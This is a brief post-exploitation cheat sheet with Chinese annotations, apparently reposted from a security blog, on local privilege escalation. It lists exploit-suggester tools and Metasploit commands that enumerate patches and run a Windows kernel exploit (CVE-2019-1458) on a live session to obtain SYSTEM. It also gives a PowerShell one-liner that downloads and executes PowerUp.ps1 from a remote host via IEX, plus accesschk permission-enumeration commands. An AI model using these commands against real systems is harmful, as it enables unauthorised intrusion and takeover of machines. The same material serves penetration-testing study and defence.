https://github.com/AonCyberLabs/Windows-Exploit-Suggester
./windows-exploit-suggester.py
https://github.com/mzet-/linux-exploit-suggester
./linux-exploit-suggester.sh
https://github.com/rasta-mouse/Sherlock
Import-Module Sherlock.ps1 Find-AllVulns
查询补丁
run post/windows/gather/enum_patches
[+] KB2999226 installed on 11/25/2020
[+] KB976902 installed on 11/21/2010
# 查询Exp
use post/multi/recon/local_exploit_suggester
set LHOST <攻击机IP>
set SESSION <session_id>
run
# 利用示例
local/cve_2019_1458_wizardopium use exploit/windows/
set SESSION <session_id>
run
getuid
Server username: NT AUTHORITYSYSTEM
powershell.exe -exec bypass -Command "& {Import-Module .PowerUp.ps1; Invoke-AllChecks}" powershell.exe -nop -exec bypass -c "IEX (New-object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1');Invoke- AllChecks"
accesschk "d:dir"
查看所有用户在d盘dir路径的子路径的权限
accesschk "Administrator "d:dir"
查看Administrator用户在d盘dir路径的子路径的权限
accesschk Administrators -c *
查看Administrators组对所有服务的权限
accesschk -k Guest hklmsoftware
查看Guest用户对hklmsoftware注册表的权限
accesschk -ou User
查看User用户对全局对象的权限
转自Leticia's Blog
侵权请私聊公众号(LemonSec)删文